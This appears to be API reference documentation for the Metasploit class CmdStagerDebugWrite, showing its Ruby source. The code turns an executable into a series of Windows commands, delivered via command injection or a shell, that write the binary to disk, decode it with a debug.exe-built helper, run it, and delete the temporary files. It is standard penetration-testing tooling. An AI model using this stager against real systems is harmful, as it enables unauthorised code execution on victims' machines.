Class: Rex::Exploitation::CmdStagerDebugWrite

Inherits:
CmdStagerBase show all
Defined in:
lib/rex/exploitation/cmdstager/debug_write.rb

Overview

This class provides the ability to create a sequence of commands from an executable. When this sequence is ran via command injection or a shell, the resulting exe will be written to disk and executed.

This particular version uses debug.exe to write a small .NET binary. That binary will take a hex-ascii file, created via echo >>, and decode it to the final binary.

Requires: .NET, debug.exe

Instance Method Summary collapse

Methods inherited from CmdStagerBase

#generate, #generate_cmds_payload, #slice_up_payload

Constructor Details

#initialize(exe) ⇒ CmdStagerDebugWrite

Returns a new instance of CmdStagerDebugWrite.



27
28
29
30
31
32
33
 
# File 'lib/rex/exploitation/cmdstager/debug_write.rb', line 27

def initialize(exe)
	super

	@var_bypass  = Rex::Text.rand_text_alpha(8)
	@var_payload = Rex::Text.rand_text_alpha(8)
	@decoder     = nil # filled in later
end

Instance Method Details

#cmd_concat_operator ⇒ Object

Windows uses & to concat strings



130
131
132
 
# File 'lib/rex/exploitation/cmdstager/debug_write.rb', line 130

def cmd_concat_operator
	" & "
end

#compress_commands(cmds, opts) ⇒ Object

We override compress commands just to stick in a few extra commands last second..



101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
 
# File 'lib/rex/exploitation/cmdstager/debug_write.rb', line 101

def compress_commands(cmds, opts)
	# Convert the debug script to an executable...
	cvt_cmd = ''
	if (@tempdir != '')
		cvt_cmd << "cd %TEMP% && "
	end
	cvt_cmd << "debug < #{@tempdir}#{@var_bypass}"
	cmds << cvt_cmd

	# Rename the resulting binary
	cmds << "move #{@tempdir}#{@var_bypass}.bin #{@tempdir}#{@var_bypass}.exe"

	# Converting the encoded payload...
	cmds << "#{@tempdir}#{@var_bypass}.exe #{@tempdir}#{@var_payload}"

	# Make it all happen
	cmds << "start #{@tempdir}#{@var_payload}.exe"

	# Clean up after unless requested not to..
	if (not opts[:nodelete])
		cmds << "del #{@tempdir}#{@var_bypass}.exe"
		cmds << "del #{@tempdir}#{@var_payload}"
		# XXX: We won't be able to delete the payload while it is running..
	end

	super
end

#encode_payload(opts) ⇒ Object

Simple hex encoding…



52
53
54
 
# File 'lib/rex/exploitation/cmdstager/debug_write.rb', line 52

def encode_payload(opts)
	@exe.unpack('H*')[0]
end

#generate_cmds(opts) ⇒ Object

Override just to set the extra byte count



39
40
41
42
43
44
45
46
 
# File 'lib/rex/exploitation/cmdstager/debug_write.rb', line 39

def generate_cmds(opts)
	# Set the start/end of the commands here (vs initialize) so we have @tempdir
	@cmd_start = "echo "
	@cmd_end   = ">>#{@tempdir}#{@var_payload}"
	xtra_len = @cmd_start.length + @cmd_end.length + 1
	opts.merge!({ :extra => xtra_len })
	super
end

#generate_cmds_decoder(opts) ⇒ Object

Generate the commands that will decode the file we just created



79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
 
# File 'lib/rex/exploitation/cmdstager/debug_write.rb', line 79

def generate_cmds_decoder(opts)

	# Allow decoder stub override (needs to input base64 and output bin)
	@decoder = opts[:decoder] if (opts[:decoder])

	# Read the decoder data file
	f = File.new(@decoder, "rb")
	decoder = f.read(f.stat.size)
	f.close

	# Replace variables
	decoder.gsub!(/decoder_stub/, "#{@tempdir}#{@var_bypass}")

	# Split it apart by the lines
	decoder.split("\n")
end

#parts_to_commands(parts, opts) ⇒ Object

Combine the parts of the encoded file with the stuff that goes before / after it.



61
62
63
64
65
66
67
68
69
70
71
72
73
 
# File 'lib/rex/exploitation/cmdstager/debug_write.rb', line 61

def parts_to_commands(parts, opts)

	cmds = []
	parts.each do |p|
		cmd = ''
		cmd << @cmd_start
		cmd << p
		cmd << @cmd_end
		cmds << cmd
	end

	cmds
end